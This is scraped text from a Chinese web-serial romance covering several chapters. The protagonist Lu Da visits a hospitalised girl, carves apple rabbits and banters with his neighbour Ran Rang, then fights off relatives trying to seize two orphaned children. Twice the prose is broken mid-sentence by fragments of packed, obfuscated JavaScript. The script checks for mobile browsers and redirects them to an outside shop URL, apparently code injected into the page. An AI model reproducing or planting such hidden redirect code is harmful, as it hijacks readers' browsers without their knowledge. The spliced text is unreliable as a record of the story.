崔溯洄的声音里透着疲倦,卢答知道她最近找了个实习,早九晚十,人都憔悴了。她先抱怨了一通奇葩上司,然后问卢答近况,卢答捡着好的讲了。 崔溯洄问卢答打算什么时候回去,卢答想了会儿,想到面包店和邻居们,有点不舍,话到嘴边拐了个弯。 他含糊道:“再过一两个月吧,我这里暂时……走不开。怎么了?” 崔溯洄道:“没什么事啦,就是叔叔旁敲侧击问我你近况。” 卢答的语气不自觉绷了一瞬,叹口气:“我知道了,我过几天再给他打个电话报平安。” 崔溯洄很会看气氛,也不再说话,一时之间只能听到微弱的电流声。 过了一会儿,她小心翼翼问:“那,你和小追……” 来这里之后,没再听到过有人叫这个名字。卢答略微恍惚,思绪纷乱。他抿着唇,一时不知把这心情作何解。 听那边崔溯洄叫了自己好几声,卢答才道:“提他干嘛?你提他我们就没得聊了。” 崔溯洄笑了两声,很快换了话题。又闲话几句,两人才告别。 挂了电话,卢答把自己砸进床里,久违地失眠了。 卢答盯着夜灯发呆半晌,感觉自己脑海里有一场风暴在刮。因为性格开朗外向,在生活里,卢答更多是作为倾听者存在。 他善于倾听,能熟练地帮其他人排忧解难,却不太习惯、也不太擅长向别人倾诉心事。 此时白日里被压下的许多情绪都漂浮起来了,卢答翻来覆去半天,还是毫无睡意。 他平时睡前一般不看电子产品,今天却伸手去摸床边的手机,决定玩会儿种花小游戏转移注意力。 结果越玩越精神,快天亮才睡着,这就是后话了。 6. 为你而来【修】 市医院大厅里人来人往,大理石地板光洁,倒映出许多脚步匆匆的身影。空气里弥漫着极浓的消毒水味,吞进肺部里,传来透心的凉意。 卢答把脸上的口罩又往上扯了扯,憋着气大步走进电梯间。电梯徐徐上升,他才慢慢吐出一口气。 气味总比其他五感更鲜明,更让人身临其境。 消毒水的刺鼻和闪着寒光的针头在童年时就联结在了一起,闻到消毒水味,卢答就知道自己走进了医院。 不过这点不适很快被卢答压下,站在病房门口时,他已经收拾好了表情,琥珀色的眼睛微弯,俨然是平时和煦的模样。 * 一间病房住五个人,童童就在最里面靠窗的位置,她正躺在床上睡觉。脸蛋红扑扑的,烧还没退完,睡得并不安稳。 郑芷坐在床边,撑着手也在打瞌睡,一大一小的脸上都是疲倦。卢答轻手轻脚地把带来的果篮放桌子上,动作很轻,郑芷却被惊醒了。 见童童还在睡觉,卢答便在手机上打字给她看:你要不先回去休息?童童我来照顾。 这怎么好意思,郑芷正要拒绝,卢答又打一行字,说服了她:你休息不好的话,也没办法照顾童童。总不能到时候童童还没好,你却先垮了吧? 郑芷走后,卢答在她原来的位置坐下,看完郑芷临走前写的注意事项,特别留意了一下输液管。 过一会儿他觉得无聊,便从果篮里摸出一只苹果,洗了手开始削苹果。 有段时间没动手,卢答削了盘兔子苹果还觉意犹未尽,又准备削个立体的复活节兔子。没带手套,他就一手捏住苹果上下两端,以果核为中心向外雕着。 薄薄的刀片在卢答指尖飞舞,不过几分钟,兔子的轮廓已经初露雏形。 削得入神时,耳边传来一个细弱的声音:“卢答,这是什么?” 童童不知何时醒了,看了一会儿发问。她突然出声,卢答的手却稳,不受丝毫影响、从容地刻完最后两笔,递给童童看。 莹润果肉此时化为一只憨态可掬的抱蛋兔子,正是复活节兔子。 两粒果核作为眼睛的点缀,一手就能握住,小巧可爱。童童脸上满是惊奇,小声地哇了出来。 病房里的其他孩子也都纷纷看过来,一时之间惊起哇声一片。 卢答雕的兔子太精巧,活灵活现,闹得好几个孩子缠着家长也要苹果兔子,有人看卢答是好说话的模样,便向他投来希冀的视线,说出钱请他帮忙做一个。 卢答笑:“哪能要钱呀,又不麻烦,我给大家做一个就好。只是童童这孩子怕生,平时还要劳烦大家多多照顾。” 同在一个病房,多个朋友多条路,有事的时候能有人帮忙搭把手也好。 苹果是探病常见的水果,几乎人人床前都有一篮。很快,卢答面前就汇聚了一盘大小各异,颜色不一的苹果。他再次洗了手,耐心地开始削。 * 卢答动手时,童童就趴在床边看他,眼里满是好奇。儿童病房的床边都有护栏,卢答不担心她摔下来,只嘱咐她手小心些别跑针。 童童看他手指轻动,皮簌簌而下,几下就削出了兔子的轮廓。童童看着他动作,险些都要忘记呼吸。 看了一会儿,童童问:“卢答,你手上为什么有伤口?” 卢答拇指压着刀片,把手翻过来给她看。他不把童童当孩子,而是把她当做能和自己平等对话的对象,耐心回答:“因为我的工作很容易割到手。” 卢答的手纤长白皙,指甲修剪得很整齐,但十指上有许多细小的伤口,指腹带着厚厚的茧子,是一双和他长相不太符合的手。 小孩子的世界很简单,在她看来一个人做的事就是他的职业,童童也不懂什么叫兼职打工,顿时瞪圆眼睛:“做面包会碰到手吗?”那妈妈的手岂不是也有很多伤口? 卢答笑了,想摸她头,碍于手上的苹果汁放弃,他解释:“我只是暂时在面包店打工,本职工作并不是这个。” 童童小大人样地点点头,表示自己明白了:“那手不会痛吗?” 卢答抽了张纸垫在把削好的苹果下面:“会有点痛,但习惯就好。” 他一边动手,一边向童童介绍:“你知道复活节兔子吗?在布里斯班的故事里,复活节兔子会在复活节前一天晚上出现。它将糖果和彩蛋藏匿在花园、草丛里,等着孩子们去寻找……” “……这是一只充满魔法和希望的兔子。” 卢答声音柔和清润,此刻放慢了语速,不疾不徐地在人耳边流淌过去,很悦耳。 * 卢答刻得投入,等逐一雕完再分发出去后,他才吁一口气,活动了一下手腕。 卢答正准备把桌面上的果皮、果肉掸到垃圾桶里,再去接点水擦擦以避免招致来蚂蚁时,面前就恰到好处地多出了一杯水。 递水的那只手很大,骨节分明,青筋像分叉的河流一般蜿蜒向上,一次性纸杯在这手里小巧得如同玩具。 卢答抬头,看见了冉让。 自那一次蹭吃后,两个人明面上的关系近了些许。 又一起吃了好几顿饭,到后面,饭点时冉让家里的门就会默不作声地敞开,卢答揣着巧克力去敲门,变成了约定俗成的习惯。 冉让怎么在这里? 卢答反应过来:估计也是来看童童的,毕竟当时他帮了大忙。 卢答接过水。 冉让不怕冷似的,只穿了件黑色短袖。见卢答捧着水,他先一步把果皮掸走。 短袖版型宽大,动作间却还是勾勒出冉让的肩线和流畅的肌肉轮廓,冉让身材练得恰到好处,精瘦有力,宽肩窄腰,是健身房练不出来的自然。 不会过于夸张,却又有着利落的线条美。 卢答暗自欣赏冉让低头掸垃圾时垂着的眼和冷凝英俊、下颔利落的侧脸,才想起笑着和他打招呼。 他捏着水杯道:“好巧,又碰见了。” 大概是因为冉让今天帅得他有点紧张,本能地开始胡思乱语,说完才反应过来自己在没话找话。卢答有点尴尬,开始假装忙碌,抽了张纸蘸水擦桌子。 冉让轻挑起眉,似笑非笑转过头来,看卢答一眼。他眉峰高,做这种表情时锋锐逼人,眼底的一点零星笑意又显得多了丝痞气。 冉让道:“不巧。” 我是为你来的。 冉让见他卷翘的睫毛眨呀眨,知道卢答在紧张。本意是想说点什么缓和一下气氛,却没想到自己回答后,卢答看上去更紧张了。 冉让:? 他不明白。 卢答手擦着桌子,突然想起大学时自己上的那几节写生课,模特有老有少,也请过不少身材好的,要价高昂。但在卢答看来没一个比得上冉让。 不过冉让一拧眉,估计就没人敢让他做模特了。 此刻冉让的眉习惯性地拧着,目光灼灼地盯着卢答,见卢答还在擦桌子,轻啧一声,转身又去接了杯水。 啊? 卢答看着他背影,有点茫然:怎么不高兴,就因为自己说又碰见很巧吗? 还在胡思乱想,冉让又回来了,把手里新接的水递过来,言简意赅:“喝。” 哦,原来是让自己喝。错怪了。 卢答抿了一口,清甜的水入喉,他才发觉喉头干涩。刚沉浸式地刻兔子,他都忘记了身体的焦渴。 见卢答仰头喝水,冉让才坐下,他扫视了会儿周围,最后把视线落到了童童手上。 他气质凶冷,但小孩子善于抛开外表见本质,童童并不害怕,反而很喜欢他。 她发现冉让在看自己手里的立体兔子,便问他:“冉让你喜欢这个吗?” 冉让颔首,夸了一句:“削得很可爱。” 童童很感谢冉让,正好还没吃,便举起来要给冉让:“那送给你?” 话音落下,她才想起这是卢答给自己的,啊了一声,抱着苹果,陷入两难。 妈妈说,别人礼物是一份心意,不能再随便送人。况且,卢答刻得那么可爱,她也有点舍不得。 冉让怎么可能和小孩抢东西吃,自然是拒绝了。他只是知道这苹果是卢答削的,多看几眼罢了。 * 冉让比出声时来得更早。 他到时,就见卢答一边替其他小孩削兔子一边讲故事。冉让没贸然走进去,先倚在门上看了半晌这恬静的场景。 卢答坐在窗边,侧着脸,半张脸都落在光下,脸上绒毛纤毫毕现,通透白皙的肌肤被照得近于半透明。 几缕碎发随着动作轻轻摇晃,碎发后的琥珀色眼睛在光下本就澄澈,笑时便如一湾水泛出涟漪。 卢答平素开朗,见人先带三分笑,此刻也是笑着的,只是又和平时不同。 那笑意浅浅晕在眼角、唇角,跳脱张扬的气质稍褪,他便显得柔软如一捧洒落下来的静谧日光,极其明亮,眉眼如画。 冉让的视线无法自控地描摹过他的眉眼、鼻梁和唇,最后又返回去贪婪地落到卢答鼻根的小痣上。 很好亲,他知道。 卢答把布里斯班的复活节兔子故事娓娓道来时,冉让站在门边听,眼底闪过几丝无人知的怀念。 * 被冉让拒绝,童童又有点无措,便求助般地把目光投向卢答。不知为何,两个人都一齐看向卢答。 卢答对着这一大一小殷切的眼神,起了点逗弄心思。他轻呀了一声,转着右手腕,左手还像模像样地捏了两下,故作苦恼:“怎么办,刚用太久手了,现在有点痛。” 童童便立马把手里的苹果递给冉让:“给冉让!” “谢谢,不用。”冉让再次拒绝,他又不是真的想吃苹果。童童却有点着急地把苹果递给冉让:“你吃!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344667|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冉让叹了口气,抬头。果然见卢答托着腮看过来,一直在笑。 冉让觉得他酒窝里装的都是坏水。 冉让看向了桌上那一盘苹果兔子。 那盘兔子苹果已经放置了一会儿,表皮微微氧化,变成了浅褐色。 卢答注意到了他的视线,伸手想拿走:“你要吃吗,我再给你削一盘吧,这个给我吃就好。” “不用,”冉让拦住他,把盘子端过来,“这个给我吃就行。”他怎么可能让卢答吃。 卢答把盘子扯回去:“不行不行,我来吃……” 冉让拉走:“我来。” 拉拉扯扯几番,冉让索性直接上手,捏了几个扔嘴里,面无表情嚼了嚼咽下去,重复道:“我吃。” 卢答看他一口两个,几口下来都快把盘子吃空了,默默松手:“哦,那给你吃。别用手,我去拿牙签……” 卢答转身去找牙签,在一旁看完了全程的童童给他指了位置:“在柜子里。” 她自以为很小声地问:“哥哥,你们没吃饭吗?” 不然怎么抢一盘苹果抢得好像要打起来? 卢答拒绝了童童要替自己和冉让拿面包的动作,觉得不能用成年人龌龊的客套来污染小孩子的世界,又开始胡言乱语:“嗯,这是因为我们,呃,喜欢吃氧化——就是放久了的苹果。” “咳。” 身后传来了冉让的呛咳声。 卢答转过去,把牙签递给他,笑得眉眼弯弯,酒窝都要出来了,冲冉让眨眨眼:“对吧,冉、让。” “嗯。” 对上卢答写着“你说不是试试呢”的眼神,冉让抹抹嘴,一本正经地道:“对,我们喜欢吃放久了的苹果。”他长相肃冷,自带一种可信感。 童童信了。 * 在童童“那也不能抢起来呀,老师说要谦让……”的小声咕哝里,两人镇定地坐了回去。 丢脸丢到小孩子面前了,卢答啼笑皆非,转头看冉让。不抢了,他现在吃得倒慢,只是依旧一口两个,细嚼慢咽,很珍惜的样子,脸颊鼓起一小块儿。 椅子是正常大小,但冉让长手长脚,高一米九多的人蜷在凳子上,纵使他眉目沉着,看上去却着实有些可怜。配上垂在身侧青筋虬起的小臂,像一只巨大猛兽被封印了。 卢答见他视线时不时朝童童手里的立体兔子看去,看完再嚼两下,跟下饭似的,突然心软了一下。 他叹了口气,挽起袖子,示意冉让给自己递个苹果。 冉让一边环视病房,看其他人手里的兔子,一边把苹果递给卢答,嘴上还在拒绝:“真的不用。” 先把你眼神收回来吧。卢答在心里轻嗤,利落地开始削兔子轮廓,应付他:“嗯嗯,我削着自己吃呢。” 冉让坐回去:“哦。” 哦。 冉让有点不乐,只是面上不显。病房里一时很安静,只有卢答削皮的窸窣声,他打开小游戏,给花浇水。 系统弹出提示时,才发现自己给一株花重复浇了五六次。 不玩了。 冉让摁熄屏幕,退出来时,才发现桌上靠近自己的地方多了个碟子,盛着只苹果兔子,比其他人的更精细、更娇憨。 手机震动了一下,R发来消息。对话框里的聊天上一次还是卢答在点菜。 【巧克力几分熟】:[转发]葱爆大虾,这样做,才好吃! 【巧克力几分熟】:今天天气真好,没人觉得这个葱爆大虾看上去很好吃吗? 冉让估计有点无语,隔了很久才回复。 【R】:1 那晚卢答如愿吃上了葱爆大虾。 而这时,过了好一会儿冉让才终于反应过来。 【R】:你是不是在逗我 【R】:? 【R】:我不是小孩 卢答心想你比小孩好哄。 【巧克力几分熟】:怎么会∧∧ 【巧克力几分熟】:今天还可以点菜吗? 【巧克力几分熟】:[小猫蹦跳].jpg 【R】:不 【R】:我没有替很多人炒过菜 什么嘛,卢答失笑。 【巧克力几分熟】:手伸出来。 卢答靠过来,气声清浅:“闭上眼睛。” 近了才能闻到,卢答身上那橙花的暖融融的香味,极浅,和他传来的体温一样熨帖。 冉让依言闭上眼,掌心传来温热的、一触即分的触感,是卢答指尖擦了过去。冉让感觉到有重量的东西掉在了手里,他下意识握住,摩挲了一下。 好像是……巧克力? 再睁眼,对上卢答笑盈盈的脸,他眼底有光翩跹,似水波荡漾:“糖都是你的,不分给别人。” “不生气啦,好不好?” 冉让心跳漏了一拍。 7. “你最可爱。”【修】 童童又在儿童病房住了几天,卢答便时常来看她。画图进展并不顺利,他整天窝在房间里自我监禁,把探望童童当望风。 八月傍晚,燠热渐熄。但风吹过脸颊,还是热潮潮的。 丘市的城市绿化搭建得用心,路边长期有人维护,灌木和树都繁茂葱茏,长势喜人。 街上车流不多,卢答蹬得很慢,一路看过去。 上大学前他在海市生活,整个城市的节奏快得人们脚步匆匆,恨不得跑起来,稍有不慎却仍会被这城市甩在身后。卢答身在其中,也被这种气氛所感染。 上大学后,他忙着画图、实操,忙着参加各种类型的比赛,几乎住在工作室,一个月不出校门也是常有的事。 来丘市的这两个月,虽然面包店上班的时候也忙,但卢答的精神状态却放松下来,不再紧绷。 拐角处,有个悬挂在半空的牌匾撞入卢答的视野——手绘的绿蔓、鲜花装点着“Eos”几个字母,大概是店名。 希腊神话中的黎明女神厄俄斯。 卢答停下车,端详了几秒装潢,走了进去。 重新从花店出来时,刮起了一阵小风。 发丝胡乱飞舞摩挲过脸颊,卢答嗅到风里传来的草木,微苦、清朗,那香气让他想起童年在绿草地上打滚,露水湿润肩头衣角的那个瞬间。 思绪豁然开朗,卢答有了选题的新想法。连日来的苦恼被解决,他情不自禁地哼起歌,口罩下的嘴角弯弯。 来丘市真是来对了,卢答想。 * 骑了半小时到市医院门口,卢答找了地方停车,习惯性地戴上口罩。 他到病房时,意外地看见郑萱也在,正拿着两个娃娃手偶,一人分饰两角,表演给童童看。 她这段时间面包店、警局两头跑,到医院时童童往往在睡觉。 母女难得相聚,卢答不愿打扰,在门口看了一会儿就准备去别的地方先转两圈。 卢答走到尽头的小露台,掏出随身带着的小本,把刚才路上的灵感记上去:Eos、露水、面包…… 写到“面包”,他不期然地又想起了冉让。 不知道是因为摄入了太多甜品,还是因为经常做饭,冉让身上总带着一种黄油味,馥郁香甜,和他常喷的海洋之盐混在一起,构成了一种极富有层次,也极好辨认的味道。 卢答在人群里,远远就知道他来了。 嗯,冉让像一只行走的大型海盐面包。 想着冉让英挺冷凝的脸,卢答觉得这个比喻好笑,又有点可爱,很快便在纸上勾勒出了一个□□人:是一个长出四肢的蜂蜜小面包,有一双显凶的下三白眼。 卢答很认真地给糖层点上芝麻和深浅,为了防止冉让认不出,他还贴心地在手里加了把锅铲,拍照发给了冉让。 * 手机震动了一下,响起提示音。 是每周例行的会议讨论时间,不用跑程序,冉让干脆就坐在餐桌边支着笔记本,连灯都懒得开,就着屏幕折射出的那点微光写两句记录。 屏幕对面的组员还在滔滔不绝地介绍新的Klipper固件在实操中的使用,冉让偶尔应一声,对面的表情却像是受到了莫大的鼓舞。 听到提示音,冉让漫不经心地瞄了一眼手机,看到发信人时,散漫的眼神定住,神情才有了些许变化。 会议中不好暂停,他便把手伸到摄像头盲区,解锁手机,看卢答给自己发了什么。 【巧克力几分熟】:[图片].jpg 这什么,面包人? 冉让蹙眉,习惯性地把图片保存下来,再给卢答打了个问号。卢答像在等他的反应,回得很快,只是故意曲解冉让的意思。 【巧克力几分熟】:怎么,一张不够? 【R】:…够了 【R】:不像我 【巧克力几分熟】:哪里不像? 哪里像了? 冉让又点进那张图看了一下:腹肌都变成一块了。 屏幕上弹出新消息。 【R】:我没这么可爱 【巧克力几分熟】:那谁还能这么可爱? 见冉让在认真地解释,卢答存心逗他。备注又变成了“对方正在输入中……” 这时,卢答耳尖动动,听见楼道里有响动。 卢答凝神细听,发现那是一阵微弱的哭声,压在喉咙里,但已近上气不接下气的抽噎,这是极绝望的人才能发出的哭声。 卢答蹙起眉,收起手机,轻手轻脚地走过去,发现是个小男孩。 他坐在墙角,双手抱膝,头埋在里面,是一个缺乏安全感的姿势。 男孩哭了半晌,狠狠地抹了把眼泪,要站起来。他坐得腿软,一时没站稳,看样子要摔倒了。 卢答来不及多想,上前扶了一把。 “没事吧?”见男孩脸上都是泪痕,卢答从包里拿出纸递给他,放低了声音,神情关切:“你还好吗,需要我帮忙吗?” 摸到兜里还有几颗哄冉让剩下的糖,卢答也一并递出去。他在心里盘算:捡到走失儿童的话得去哪,去前台帮忙找家长吗?还是看监控…… 不待他继续想,男孩抬头看了眼卢答,像是被吓到了,推了他一把跑开了。 他人瘦小,力气却挺大,卢答猝不及防之下,一个趔趄。站稳时,就见男孩的背影已经消失在转角处。 “……啊。” 卢答的手悬在半空,有点啼笑皆非。 这小孩跑这么快,他长得很吓人吗?这时候他真是怀念起了对小孩亲和力极强的冉让了。 这只是个小插曲,卢答没多想,看了一眼时间,转身准备回病房。 只是路过卫生间时,他又忍不住晃进去照了下镜子。他勾下口罩,发现今天的自己也还是光彩照人,心满意足地走了。 路上,他突然想起还没回冉让,打开微信一看,发现冉让发了两条消息。 【R】:[已撤回] 【R】:反正不是我 【巧克力几分熟】:撤回了什么? * 屏幕光幽微,冉让不假思索地敲出了“你最可爱”。发出去又觉得不对,他们现在是能说这种话的关系吗? 能吗?还是不能? 他迟疑了三五秒,还是撤回了消息。 卢答没回复,他的心便轻微地揪起,在想卢答是没看见,还是看见了却不知如何回复。 心情古怪地杂糅在一起,庆幸里又有微妙的期待。 他希望卢答看见了,又希望卢答没看见。 冉让还有点希望卢答问自己,可爱在哪里。 上学的时候,因为要写作文,语文是冉让最讨厌的科目。 冉让的思维直白简练,做任何主观的阅读赏析都是套模板,了解那些艺术手法,也仅仅只是了解。 冉让并不觉得比喻和比拟在实际运用过程中有什么真正不同的效果。 如果卢答问他,他大概也只能说,眼睛、眉毛、鼻根的痣,哪里都很可爱。 卢答会满意这样的回答吗? 冉让七上八下了好一会儿,卢答还是没回。冉让抿起嘴:这下倒是确认了,他刚都没看消息。 等卢答的回复姗姗来迟,他决心要冷酷一点。 【R】:你很忙吗 【巧克力几分熟】:有点。 【R】:那你去忙吧 【巧克力几分熟】:好的。 好吧,卢答挑起眉想,本来还想再聊几句,但自己可是很听劝的。刚好到病房,他便依言放下手机。 那边冉让捧着手机又看半天,发现卢答彻底不回了。 冉让抿着唇,看着空荡荡的聊天框:明明按照教程来的,到底错哪了? * 童童没注意到他来,还缠在郑萱身上。她玩着小熊玩偶上的蝴蝶结,突然伸手拉了拉郑萱衣角:“我想哥哥了。” 郑萱一愣,摸了摸她的脸:“哥哥不方便过来,童童再忍一忍,等下周我们一起去看哥哥好不好?” “好吧。” 童童恹恹不乐,但很乖巧地点点头。 郑萱正要说什么,见卢答进来了,便收住话头,笑着让他坐。 哥哥? 童童还有哥哥吗,平时都没听见人提起过。卢答不可避免地升起一点好奇心,但他没有窥探他人隐私的癖好,便装着没听到,坐在童童身边。 童童见他来,眼神发亮:“卢答,种花。” 郑萱无奈,拍拍她:“没大没小的。”又好奇:“什么种花?” 卢答从包里拿出特地带的平板,解释:“是一个种植小游戏。” 他点开页面展示给郑萱:这是一个童话风的种植小游戏,玩家需要悉心照料开局获得的花种,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344668|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天可以做任务收集水和肥料。 建模很可爱,任务分为日常任务和闯关任务,自由度很高,有可刷新的随机事件,还有家园系统。麻雀虽小,五脏俱全。 郑萱:“真可爱,第一次见到诶。” 卢答操纵着屏幕里的小人跑来跑去,收集着水滴,随口道:“是朋友给的内测名额。” 收集到足够的水滴,他便把平板递给童童,让她浇水。 过程中,他一直不自觉地时不时活动肩颈,郑萱见他动作频繁,问:“落枕了吗。” 郑萱:“我知道有家不错的按摩店,你可以去试试……”话音未落,她又看见卢答颈上的红痕,惊奇道:“你怎么被咬了这么多包?” 卢答啊一声,摸了摸脖子,自己也有点疑惑。 奇怪,他之前并不是招蚊子的体质。 但八月份蚊子确实多,卢答并没放在心上,或许丘市的蚊子就喜欢喝B型血呢。 他把买花露水郑重地写进备忘录,又记下了郑萱推荐给自己的按摩店,准备改天去试试。 又坐了一会儿,见童童困了,卢答便告辞。 下到底楼门诊大厅时,噪杂异常。卢答便驻足看了一眼。 有两波人在对峙,吵得唾沫横飞,面红耳赤,被围在中间的是两个小孩,一大一小,看模样是兄妹。 妹妹躲在哥哥的背后,含着眼泪,憋得脸都红了。哥哥没比她高多少,却把她牢牢护在身后。 这么多人欺负两个孩子? 卢答问前台护士:“你好,请问这是?” 护士踟蹰一会儿,卢答恳求道:“我嘴巴很严的。” 他这段时间来得频繁,偶尔给值班的护士分些水果奶茶,又是戴着口罩也掩盖不了的出众长相,前台护士早已眼熟他。左右这事闹得也大,随便找个人问也能问出来。 前台便小声道:“那户人家的大人在车祸里去世了,只留下了一笔抚恤金和两个还在上小学的孩子。遗体还在停尸间呢,亲戚就为了争俩孩子的抚养权大打出手。” 她看向那两个孩子,眼神里带着些许怜悯。毕竟,谁都知道亲戚真正争的是什么。 卢答看着哥哥的后脑勺,突然猜到了自己在楼梯上遇到的那个小孩是谁。 * 保安来了几趟,但毫无办法。正常人应付不了破皮无赖,他们可以极其不要脸,一见保安来了就倒地嚎啕,抱住保安的大腿不松手。旁观者怕招惹事端,看了会儿大都散了。 看热闹的人散了一茬,大厅里只剩下寥寥几人。 卢答站在远处,端详着:“没报警吗?” “报过,但没什么用。这算情节轻微的寻衅滋事,警察也只能拘留几天主事者几天,可一个人进去,还有一堆人在外面。再报几次人还要扯横幅,说医院治死了那对夫妻,要医院赔钱。” 前台不忿:“明明人送到医院都已经……唉。” 医院倒是让大家三缄其口,但她想到兄妹就忍不住怜惜,说得也多了些:“最可怜的是两个小孩了。” 卢答点点头,又低下头,卷翘的睫毛遮住眼底思绪。 他从刚刚开始就一直在打字,十指在键盘上轻巧地跃动,前台偷偷瞄他口罩下端庄的眉眼,有点摸不清楚他留下来的意图。 看热闹吗?他不像那种人。 想帮忙吗?可这是吃力不讨好、稍有不慎就会沾染一身腥的事情,况且大部分人自顾不暇,左右萍水相逢,又有什么义务为他人的人生承担责任呢? 她正胡思乱想着,突然听见一声带着哭腔的悲戚呼喊:“——哥哥!” 兄妹被人接连蹲守了几天,哥哥年幼但桀骜,是个油盐不进的刺头,妹妹则唯哥哥马首是瞻,捂着耳朵任亲戚花言巧语。 大概是因为久未争吵出结果,有人终于不耐烦,想要强行分离兄妹,带走其中一个孩子。 他长□□猾,假惺惺:“去叔叔家住几天吧,没大人照顾可不好啊。”语气虚伪,动作却在强硬地掰开兄妹交握的手。 紧扣的两双手被分开,而再倔强也只是两个孩子,妹妹的眼泪终于滑出眼眶,急得哭了出来。 看到这突发的事端,一时之间,门诊大厅里的人都动了。 前台面色一变,正要过去阻拦,身边却闪过一道身影,有人上前一步,动作比她更快,挡在了她面前。 正是卢答。 8. 想见卢答【修】 正常人应付不了破皮无赖,卢答深谙此道:只有比他们更无赖,或者更强大。 男人甚至没看清楚卢答是怎么来到自己面前的,他太轻盈,本人的模样和给人的感觉竟都是这样。 男人恍惚了几秒,却觉手上一重,痛楚从手腕迅速地传到神经末梢,尖锐地刺着脑仁。他骂了句脏话,下意识地松开了兄妹。 卢答趁机把他俩拉过来,护在自己身后。 他身形单薄,没到风吹就倒但也好不了多少,手上却意外有劲,纤长清瘦的五指能牢牢地钳住比自己粗好几圈的腕。 动作间,口罩掉了,露出卢答的脸,他平素未语三分笑的脸上此时笑意全无,冷冽如霜。 卢答耐看,不做表情时,却显得更漂亮。 他好看得毫无攻击性,男人先入为主,没把卢答放在心上,自大地以为刚才只是个意外。 他邪笑,轻佻地上下打量了卢答纤瘦的体型,往旁边吐了口痰:“就凭你这个小娘们一样的人,也来为这两个小崽子出头?” “别装好人啊,你也想要钱吧?” 卢答从不把这种人的恶意放在心上,权当他狗叫两声,只环视一圈,向身后的小孩指了指前台:“你们先去护士姐姐那边。” “你、你小心……” 哥哥认出了他是楼道里有一面之缘的人,担忧地看了一眼卢答,但能分清楚轻重缓急,知道自己留在这里只会牵绊卢答,牵着妹妹就跑走了。 男人正龇牙咧嘴地揉着腕,见状骂了句操,就要来抓落在后面的妹妹。到底是个壮年男人,他力气很大。 卢答啧了一声,闪身挡在了妹妹面前,硬生生受了一下。他被保护得很好,极少受伤,此时生冷的疼痛传来,久违地激起了卢答内心的不虞。 很不爽,但卢答反而笑了:“这下,我可是正当防卫哦。” 他语气上扬,轻巧带笑,轻飘飘的,却一个转身并着借力,给了男人一个狠狠的肘击。 开玩笑,他从小到大不知道上过几节防身课,主打力气不够,技术来凑。 兄妹跑远了,卢答也不再有顾忌。 * 和男人一伙来闹事的也都以貌取人,不觉得卢答能造成多大的威胁,故而站得远。更有甚者还在猜卢答这几下能被打哭,没想到被打得抱头鼠窜的另有其人。 看到此情此景,瞠目结舌的一群人终于反应过来,纷纷围上来。见都是壮年男人,卢答啧了一声:“不讲武德啊。” 说着犯难一样的话,但他动作仍轻快近于蹁跹,得心应手地应付这群人,还有空掏出手机给保全发了条微信。 “还不来?雇主被打你们可就没钱了。” 有人见占不到便宜,便把目光投向了散落在角落的椅子,潜了提在手里悄悄靠近卢答。 卢答看似随意,但掌控着全局,注意力一直高度集中,自然发现了身后男人的动静。 卢答神色一冷,只是还不待他动作,男人身侧就飞来一脚,连人带着椅子被踹出几米远,直直撞到了门诊大厅里摆在一旁的龟背竹盆栽。 “哐当——” “刺啦——” 一阵噼里啪啦,椅子在地上摩擦出刺耳的长音,这一声极响极凌厉,如雷贯耳。众人都被镇住,四下皆静。 前台边,哥哥捂住妹妹的耳朵,往这边担忧地看来。 众人纷纷看过去,只见一个快步走来的身影。来人极高,下三白眼凶戾,不再是平时散漫或是玩笑似的臭脸,饱含着煞气的一眼扫过来,炯炯有神凌厉如刀。 胆子小的人被他这么一看,已经忍不住退后几步,缩得像鹌鹑。 正是冉让。 “你怎么……”怎么在这里。 卢答讶异,走神那一刹那,身后有个人趁乱想动手,他眼角余光瞥到,暗道不妙,却不是因为自己可能会受伤的预感。 果不其然,冉让大步走过来。他像抓小鸡仔一样拎着那人衣领,把他从卢答面前拎走。 下一秒,冉让横着眉,五指紧握,硬石一样的拳头就砸了过去。 他心头闪过刚才那人对卢答举起椅子的画面,后怕极了。 冉让脾气不如外表冷硬,他生气的阈值高,奇点也高。是不轻易生气,一生气却山崩地裂的类型。 但多数时候,他的体格与臭脸便足以吓退一拨人,也很少能生气。 此时,因卢答险些受伤而产生的恐惧化作燃料,让心火烧得炽热、燃得旺盛。冉让迫切地想要宣泄,一下尤觉不够,一拳接着一拳,毫不客气。 那人只觉得冉让的拳头如雨点般落下,被打得头晕眼花,剧痛之下,也在尝试反击。但冉让仿佛不知道痛,对砸在自己身上的拳头毫无反应。 冉让气质本就凶烈,又是不要命的打法,没人敢拦。 “喀拉。” 直到传出清晰的骨裂声。 卢答本站在一旁,仍他发泄,此时见势不妙,快步过去。有人见卢答上前,觉得他那小身板都挨不过冉让两下,正要拦他一把,就见卢答已到冉让身后,伸手抱住他的腰。 “好了,好了!听话。”卢答呵止冉让。 卢答声音清亮,在嘈杂的环境音里分明地传到冉让耳朵里。 又贴得极近,半个人要挂到冉让身上了,体温顺着两层薄薄的夏裳渡到冉让身上,橙花香微苦,但有热融融的熨帖。 那气味似不可见的轻烟,娉婷地烧进冉让鼻腔。卢答似根针,锐利地刺出了他的清醒。 冉让的下一拳悬在半空,终究没再落下去。 他收回手,别过脸,心里还是在后怕,没收住冷厉的眼神。怕吓到卢答,又闭了闭眼,深呼吸了一口气。 